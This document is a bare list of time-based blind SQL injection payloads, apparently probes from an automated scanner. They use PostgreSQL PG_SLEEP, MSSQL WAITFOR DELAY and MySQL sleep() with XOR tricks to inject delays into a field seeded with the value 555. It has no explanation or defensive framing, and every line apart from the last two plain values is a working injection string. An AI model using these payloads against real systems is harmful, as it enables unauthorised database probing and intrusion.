555-1)) OR 228=(SELECT 228 FROM PG_SLEEP(15))–
555-1 OR 264=(SELECT 264 FROM PG_SLEEP(15))–
555-1 waitfor delay ‘0:0:15’ —
555-1; waitfor delay ‘0:0:15’ —
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
555*if(now()=sysdate(),sleep(15),0)
1
555